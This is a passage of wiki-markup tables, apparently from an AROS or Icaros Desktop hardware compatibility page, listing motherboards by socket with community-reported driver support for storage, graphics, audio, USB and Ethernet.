| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes|1 port}} 
| &lt;!--SATA--&gt;{{yes|3 ports SATA2}} 
| &lt;!--Gfx--&gt;{{Maybe|Vesa 2d GeForce 7100 (vga /hdmi/dvi), 1 PCIe x16 Slot }} 
| &lt;!--Audio--&gt;{{Yes|Realtek ALC889A MCP73}}
| &lt;!--USB--&gt;{{Yes|7 USB2.0}} 
| &lt;!--Ethernet--&gt;{{no|RTL 8211B MCP73}}
| &lt;!--Opinion--&gt;Firewire Not, tested with Icaros Desktop 2.0.3 MCP73 is a single chip solution in three different versions 
|-
| &lt;!--Name--&gt;Nvidia 7150 630i 
| &lt;!--Chipset--&gt;intel based nForce 630i (MCP73)
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{maybe|ide legacy}}
| &lt;!--GFX--&gt;GF 7150 
| &lt;!--Audio--&gt;{{yes|HD AUDIO ALC883}} 
| &lt;!--USB--&gt;{{yes|ohci echi}}
| &lt;!--Ethernet--&gt;{{no|RTL8201C}} 
| &lt;!--Opinion--&gt;being tested 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 2.0 x16 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt; the MCP73PV or the GeForce 7050/nForce 630i 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;the MCP73S or the GeForce7025/nForce 630i 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;the MCP73V or the GeForce 7025/nForce 610i 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}

=====Atom SOC (2008/2x)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;D945CLF 
| &lt;!--Chipset--&gt;N230 single core 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{yes|GMA945}}
| &lt;!--Audio--&gt;{{yes|ALC662}} Skt 441
| &lt;!--USB--&gt;{{yes|uhci and ehci}}
| &lt;!--Ethernet--&gt;{{yes|rtl8169}}
| &lt;!--Opinion--&gt;works very well 
|-
| &lt;!--Name--&gt;[http://www.clusteruk.com iMica D945GCKF2 mobo]
| &lt;!--Chipset--&gt;Intel Atom N330 Dual Core
| &lt;!--ACPI--&gt;wip
| &lt;!--IDE--&gt;{{yes|IDE}}
| &lt;!--SATA--&gt;{{maybe}}
| &lt;!--Gfx--&gt;{{yes|gma}}
| &lt;!--Audio--&gt;{{yes|HD AUDIO}}
| &lt;!--USB--&gt;{{yes|uhci ehci}}
| &lt;!--Ethernet--&gt;{{yes|rtl8169}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;D945GSEJT + Morex T1610 
| &lt;!--Chipset--&gt;Atom 230 with 945GSE 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{maybe}}
| &lt;!--Gfx--&gt;{{yes|GMA900 vga but issues with DVI output}}
| &lt;!--Audio--&gt;{{yes|HDAudio with ALC662 codec}}
| &lt;!--USB--&gt;{{yes| }} 
| &lt;!--Ethernet--&gt;{{yes|RTL8169 8111DL}}
| &lt;!--Opinion--&gt;small size, runs off 12V 
|-
| &lt;!--Name--&gt;ASUS AT3N7A-I  
| &lt;!--Chipset--&gt;Atom N330 Nvidia ION
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{maybe|3 ports legacy IDE}}
| &lt;!--Gfx--&gt;{{yes|nouveau  cube  cube 2 45  quake 3 }}  
| &lt;!--Audio--&gt;{{yes|HD Audio with VIA 1708S codec playback}}
| &lt;!--USB--&gt;{{yes}}
| &lt;!--Ethernet--&gt;{{yes|RTL8169 device}}
| &lt;!--Opinion--&gt;&lt;ref&gt;http://www.youtube.com/watch?v=EAiJpvu73iw&lt;/ref&gt; good but can freeze randomly at times 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;D410PT 45nm pinetrail
| &lt;!--Chipset--&gt;D410 and NM10 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{maybe|ide legacy}}
| &lt;!--Gfx--&gt;{{maybe|GMA3150}}
| &lt;!--Audio--&gt;{{yes|ALC262 or ALC66x odd clicks}}
| &lt;!--USB--&gt;{{yes}}
| &lt;!--Ethernet--&gt;{{yes|RTL8111DL}}
| &lt;!--Opinion--&gt;some support 
|-
| &lt;!--Name--&gt;45nm pinetrail
| &lt;!--Chipset--&gt;D510 and NM10 + GMA3150 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;GMA3150 
| &lt;!--Audio--&gt;ALC888B or ALC66x 
| &lt;!--USB--&gt;{{yes}} 
| &lt;!--Ethernet--&gt;RTL8111DL
| &lt;!--Opinion--&gt;some support 
|-
| &lt;!--Name--&gt;Gigabyte GA-D525TUD (rev. 1.0 1.2 1.5)
| &lt;!--Chipset--&gt;D525 NM10 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;gma 3150 
| &lt;!--Audio--&gt;HDAudio ALC887 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;rtl8169 rtl8111f 
| &lt;!--Opinion--&gt;2012 64 - 2 ddr3 dimm slots max 8g - Mini-ITX Form Factor; 17.0cm x 17.0cm - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
|}


=====Socket 1366 (2009/10)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Asus P6T DELUXE 
| &lt;!--Chipset--&gt;x58 + ICH10 and Intel 1st gen. (Nehalem/Lynnfield) Core i7 (8xx) CPU 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes|1 port}} 
| &lt;!--SATA--&gt;4 ports 
| &lt;!--Gfx--&gt;2 PCIe x16 (r2.0) slots 
| &lt;!--Audio--&gt;ADI AD2000B HD Audio
| &lt;!--USB--&gt;{{yes|4 USB2.0}} 
| &lt;!--Ethernet--&gt;{{no|Marvell 88E8056 Gigabit}} 
| &lt;!--Opinion--&gt;Firewire VIA VT6308 no
|-
| &lt;!--Name--&gt;gigabyte ex58 ds 
| &lt;!--Chipset--&gt; x58 + ICH10 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 8111D rtl8169 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket 1156 (2010)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Acer Aspire M3910
| &lt;!--Chipset--&gt;i3 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{unk| }}
| &lt;!--Gfx--&gt;{{maybe|VESA intel HD}}
| &lt;!--Audio--&gt;{{unk|HDAudio with Realtek ALC}}
| &lt;!--USB--&gt;{{yes| }}
| &lt;!--Ethernet--&gt;{{unk| Realtek}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-H55M-S2H 
| &lt;!--Chipset--&gt;H55 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe slot 
| &lt;!--Audio--&gt;{{Yes|ALCxxx playback}} ALC888B (Rev1.x) 
| &lt;!--USB--&gt;{{Yes| }} 
| &lt;!--Ethernet--&gt;{{Yes|RTL8111D}} (Rev 1.x) 
| &lt;!--Opinion--&gt;Tested but no support for WLAN Realtek 8188su 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI H55M-E33 v1.0
| &lt;!--Chipset--&gt;E7636 M7636 H55 chipset so older i3/i5/i7 system
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{yes|HD Audio ALC889}} 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{Yes|PCI-E Realtek 8111DL}}
| &lt;!--Opinion--&gt;Works well 
|-
| &lt;!--Name--&gt;Asus P7P55D
| &lt;!--Chipset--&gt;P55 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{unk| }}
| &lt;!--SATA--&gt;{{unk| }}
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;{{maybe | via codec}}
| &lt;!--USB--&gt;{{unk| }}
| &lt;!--Ethernet--&gt;{{maybe |rtl8169 Realtek RTL8111B/C  RTL8112L }}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket LGA 1155 H2 (2010/13)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;ASUS P8H61-I LX R2.0 
| &lt;!--Chipset--&gt;H61 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata 
| &lt;!--Gfx--&gt;1 pci-e slot 
| &lt;!--Audio--&gt;{{unk|HDAudio via7018s codec}} 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;{{yes|rtl8169 8111f}} 
| &lt;!--Opinion--&gt;2013 64bit up to intel ivybridge cpus - 2 ddr3 dimm slots - 
|-
| &lt;!--Name--&gt;Asus P8H61-I/RM/SI mini-itx 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 sata 
| &lt;!--Gfx--&gt;pci-e 2
| &lt;!--Audio--&gt;{{unk|HDAudio via7018s codec}} 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{yes|rtl8169 8111f}} 
| &lt;!--Opinion--&gt;2013 64bit up to i3-2010 - OEM board from an RM machine but not ivybridge as the Asus BIOS isn't compatible with these, 0909 hacked one might work - 
|-
| &lt;!--Name--&gt;asus p8h61-i lx r2.0/rm/si mini itx 
| &lt;!--Chipset--&gt;h61
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 2.0
| &lt;!--Audio--&gt;HDaudio with VIA codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;rtl8169 rtl8111e
| &lt;!--Opinion--&gt;2012 sandy and ivy - oem from rm machine 2 x 240-Pin DDR3 DIMM sockets max DDR3 1333MHz - 
|-
| &lt;!--Name--&gt;‎Bewinner 63q9c7omvs V301 ITX 
| &lt;!--Chipset--&gt;H61 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata with nvme 
| &lt;!--Gfx--&gt;pci-e 4 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|Realtek 8106E 100M Network Card}} 
| &lt;!--Opinion--&gt;2022 64 
|-
| &lt;!--Name--&gt;Biostar H61 H61MHV2 H61MHV3 Ver. 7.0
| &lt;!--Chipset--&gt;H61 with Intel Pentium G 2xxx series CPU 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;Realtek ALC662 later ALC897
| &lt;!--USB--&gt;4 usb2
| &lt;!--Ethernet--&gt;rtl8169 Realtek RTL8111H
| &lt;!--Opinion--&gt;2014 - 2 ddr3 dimm slots - 
|-
| &lt;!--Name--&gt;Gigabyte GA-H61M-D2-B3 
| &lt;!--Chipset--&gt;H61 + Sandybridge 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 ports sata2 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC889 
| &lt;!--USB--&gt;2 ports
| &lt;!--Ethernet--&gt;Realtek RTL8111E
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-H61MA-D3V 
| &lt;!--Chipset--&gt;H61 + 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 ports sata2 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;Maybe HDAudio with Realtek ALC887 (Rev 2.0) ALC887 (Rev2.1) 
| &lt;!--USB--&gt;2 USB 2.0/1.1 ports 
| &lt;!--Ethernet--&gt;Realtek RTL8111E
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-H61N-D2V 
| &lt;!--Chipset--&gt;H61 + 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata2 and maybe 4 sata3 
| &lt;!--Gfx--&gt;pci-e 2.0 slot wit 1 x DVI-I port
| &lt;!--Audio--&gt;{{unk|HDAudio with Realtek ALC887 (Rev 1.0)}} 
| &lt;!--USB--&gt;2 USB 2.0/1.1 ports 
| &lt;!--Ethernet--&gt;Realtek RTL8111E
| &lt;!--Opinion--&gt;2013 64bit- 2 x 1.5V DDR3 DIMM sockets up to 16 GB - 
|-
| &lt;!--Name--&gt;GA-H61M-S2PV 
| &lt;!--Chipset--&gt;H61 with 2400k 2500k 2600k 2700k 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 2.0 slot 
| &lt;!--Audio--&gt;ALC887 (rev 1.0 2.0 2.1 2.2 2.3) 
| &lt;!--USB--&gt;4 USB 2.0
| &lt;!--Ethernet--&gt;Rtl8111E (1.0), 8151 (2.0) no, Rtl8111F (2.1 2.2 2.3) 
| &lt;!--Opinion--&gt;Micro ATX Form Factor; 24.4cm x 20cm with 2 pci-e and 2 pci - 
|-
| &lt;!--Name--&gt;Intel Classic Series DH61CR Desktop 
| &lt;!--Chipset--&gt;H61 + 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 ports 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;Intel HD with ALC892
| &lt;!--USB--&gt;4 ports 
| &lt;!--Ethernet--&gt;{{no|Intel 82579V}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI H61M-P20 (G3) MS-7788 
*retail MSI board 
*OEM Advent, etc 
| &lt;!--Chipset--&gt;H61 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{yes|four SATAII ports}}
| &lt;!--Gfx--&gt;1 PCI Express gen3 (retail) gen2 (oem) x16 slot 
| &lt;!--Audio--&gt;{{yes|HDAudio ALC887 codec}}
| &lt;!--USB--&gt;{{yes|}}
| &lt;!--Ethernet--&gt;{{yes|Realtek 8105E 100M Network Card}} 
| &lt;!--Opinion--&gt;2012 64bit - 2 ddr3 slots - 22.6cm(L) x 17.3cm(W) M-ATX Form Factor - BIOS - [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1149&amp;rowstart=140&amp;pid=6009#post_6007 works well], 
|-
| &lt;!--Name--&gt;MSI H61I-E35 (B3) MS-7677 Ver.1.2
| &lt;!--Chipset--&gt;H61
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata2 3gbps 
| &lt;!--Gfx--&gt;{{maybe|VESA 2d for hdmi and 1 pcie 2.0 x1 slot}}
| &lt;!--Audio--&gt;{{yes|https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1149&amp;rowstart=140&amp;pid=5861#post_5861 works}}
| &lt;!--USB--&gt;USB3 and USB2 
| &lt;!--Ethernet--&gt;{{yes|rtl8169 rtl8111e}}
| &lt;!--Opinion--&gt;2012 64bit - 2 ddr3 slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Asus P8H67-M
| &lt;!--Chipset--&gt;H67 + 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 sata3 - 4 sata2
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;Intel HD with ALC887 
| &lt;!--USB--&gt;6 USB2.0 
| &lt;!--Ethernet--&gt;Realtek® 8111E 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus P8P67 
| &lt;!--Chipset--&gt;P67 with sandybridge and ivybridge cpus 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{unk|HDAudio with ALC codec}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{unk|rtl8169 realtek rtl8111}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Asus P8Z68-V LX 
| &lt;!--Chipset--&gt;Z68 + Intel 2nd generation (Sandy Bridge) CPU and possibly ivybridge 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{yes|2 sata3 - 4 sata2}}
| &lt;!--Gfx--&gt;pci-e slot 
| &lt;!--Audio--&gt;{{yes|HDAudio Intel HD with ALC887 codec}}
| &lt;!--USB--&gt;{{yes|2 USB3.0 - 4 USB2.0}}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 Realtek® 8111E}}
| &lt;!--Opinion--&gt;2011 64bit SSE 4.1 and AVX - EFI bios - 4 ddr3 dimm slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte Z68AP-D3 (B3) 
| &lt;!--Chipset--&gt;Z68 + Ivybridge 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 sata3 - 4 sata2
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;Intel HD with ALC889 
| &lt;!--USB--&gt;2 USB3.0 - 4 USB2.0 
| &lt;!--Ethernet--&gt;Realtek® 8111E 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;Asus B75M-A 
| &lt;!--Chipset--&gt;B75 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes| }}
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;{{maybe|HDAudio with Realtek ® ALC887-VD codec}}
| &lt;!--USB--&gt;{{maybe| }}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 Realtek ® 8111F-VB-CG }}
| &lt;!--Opinion--&gt;2013 64bit - 2 ddr3 slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;H77
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-H77-D3H 1.0 1.1 
| &lt;!--Chipset--&gt;H77 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata 3.0 
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;{{No|HDAudio VIA VT2021 codec}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Atheros GbE LAN chip}}
| &lt;!--Opinion--&gt;2013 64bit i5 3550 7 3770 - 4 DDR3 slots - 2 full pci-e 2 pci slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
